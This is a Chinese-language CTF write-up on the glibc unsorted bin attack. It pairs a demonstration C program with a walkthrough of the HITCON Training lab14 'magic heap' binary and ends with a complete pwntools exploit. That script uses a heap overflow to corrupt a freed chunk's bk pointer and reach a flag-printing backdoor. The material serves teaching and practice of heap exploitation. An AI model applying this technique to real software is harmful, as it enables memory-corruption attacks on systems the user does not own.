#本文主要根据wiki上的内容和hollk师傅的文章进行学习#
概述:
1.使用unsortedbin attack的前提条件是需要控制unsorted bin中chunk的bk指针
2.unsortedbin attack可以达到的效果是修改任意地址上的值为一个较大的数值(任意地址是因为bk指针已经可以被我们控制了)
回顾:
数据结构:
先回顾一下unsorted bin的数据结构:它是一个双向循环链表。
并且unsorted bin在bins数组中处于下标为1的位置,也就是说unsorted bin只有一个链表,所以在unsorted bin中所有chunk的排列都不是根据size位来的,而是乱序状态。
并且unsorted bin 遵循FIFO原则,先挂进来的chunk处于链表头部,取出chunk时则从链表尾部取出
chunk来源:
(这里直接引用wiki上的内容)
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
- 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
示例:
#这是wiki上的例子,去掉了英文解释,大致流程是一样的#
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long target_var = 0;
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsigned long *p = malloc(400);
malloc(500);
free(p);
p[1] = (unsigned long)(&target_var - 2);
malloc(400);
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
return 0;
}
这个程序模拟了一次unsorted bin attack,先是定义了一个usigned long类型的变量target_var并将其赋值为0,这个target_var 就是我们需要写入unsorted bin地址的地址(前面说到unsorted bin attack就是在任意位置写入一个较大的值)
然后我们申请了一个400字节大小的块并将指针赋给了p,后面这个500字节大小的块是为了防止与top chunk合并。
之后我们释放这个400字节大小的块,按照前面讲到的规则它会被放进unsorted bin当中。
然后我们修改p[1]为target_var - 2,这里说一下为什么要这么做:
由于我们需要向target_var中写入unsorted bin的地址,所以我们需要将这个位置上的内存作为一个chunk挂进unsorted bin当中,而我们知道堆地址上面0x10的位置上才是chunk_head的位置,而在bins的各种链表中,fd和bk指针指向也是指向这个地址,所以我们需要将原400字节的那个堆块的bk指针改为&target_var - 2**(这里的-2是指减去两个地址位宽,也就是2 * 8)**
将这个程序用gcc编译后用gdb调试一下:
先将断点下在第9行,看一下运行结果:
此时target_var中的值是0,然后将程序运行到第10行,此时400字节的堆块已经被释放了,看一下这个堆块中的内容:
可以看见已经被挂进unsorted bin中了,并且由于循环链表的特性,fd和bk指针中也已经写入了unsorted bin的地址了。
之后我们将他的bk指针改为我们的target_var-2的位置上,然后再看一下unsorted bin中的内容:
这里可以看见已经完成了修改并且gdb也提示我们出现了corrupted的情况,按照程序进程我们会将这个400字节的堆块再申请回来,这里由于双向循环链表的特性,我们将一个成员从中解除的话,我们后一个元素的fd指针就会变成unsorted bin的地址(也就是表头的地址),此时我们再去看一下target_var位置上的值:
可以看见unsorted bin的地址已经被写入进去了,这样我们就完成了对unsorted bin地址的泄露和对目标变量处值的更改。
利用:
前面我们模拟了一次unsorted bin attack,并成功泄露了unsorted bin的真实地址,之后我们就可以根据这个地址来计算main_arena的地址和libc的基地址(这两个地址与unsorted bin的真实地址的距离均为固定值)在前面的题中也有对这种方法的运用。大概也就是这个流程:伪造双向链表,挂fake_chunk,重启fake_chunk(大多数为malloc_hook),写入ROP链或者one_gadget。
例题:
HITCON Training lab14 magic heap
保护检察:
关闭了PIE和RELRO,可能又能直接利用绝对地址的地方。
静态分析:
main()函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
显然这是一道菜单题,而且在选择判断中出现了一个很奇怪的选项判断:
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
这里发现如果选择为4869,程序会进入一个名字为 l33t(); 的函数,进入这个函数看一下:
int l33t()
{
return system("cat ./flag");
}
发现这是一个后门函数,如果程序满足判断条件就可以直接拿flag,那么回到上面的判断条件中,发现需要*(unsigned __int64)magic*
这个变量大于0x1305时才可以,我们前面说到unsorted binattack可以将任意地址上的数值改为一个巨大的数(即unsorted bin的地址)
那么这里是不是就可以利用unsorted bin attack的攻击手法呢。
create()函数:
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
create()函数即对应创建堆块的功
能,非常典型的一个创建流程,没有什么好说的
edit()函数:
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
size_t v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2); // 存在堆溢出
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
这个就是对于已创建堆块的编辑函数,可以发现在重新输入content内容时,程序允许我们输入的内容大小是有我们来决定的,这里就存在一个非常明显的堆溢出漏洞,那么到这里就满足了unsorted bin attack的几个条件:
- 可以控制free chunk的bk
- 有明确的需要改变数值的地址
那么思路也非常简单了:
通过堆溢出控制已创建并free掉后的unsorted bin free chunk,控制他的bk指向*(unsigned __int64)magic*这个变量并对其进行修改,由于unsorted bin地址在数值上的大小远大于0x1305,可以满足判断触发后门函数。
EXP:
from pwn import *
context.log_level = 'debug'
io = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
magic = 0x06020C0
def create(size,content):
io.recvuntil("Your choice :")
io.sendline(b'1')
io.recvuntil(": ")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def edit(index,size,content):
io.recvuntil("Your choice :")
io.sendline(b'2')
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil(": ")
io.sendline(str(size))
io.recvuntil(": ")
io.sendline(content)
def free(index):
io.recvuntil("Your choice :")
io.sendline(b'3')
io.recvuntil("Index :")
io.sendline(str(index))
create(0x20,"aaaa")
create(0x90,"bbbb")
create(0x20,"cccc") #防止与top chunk合并
free(1)
payload1 = b'a'*0x20 + p64(0) + p64(0xa1) + p64(0) + p64(magic - 0x10)
edit(0,len(payload1),payload1)
create(0x90,"yms1")
io.recvuntil("Your choice :")
io.sendline(b'4869')
io.interactive()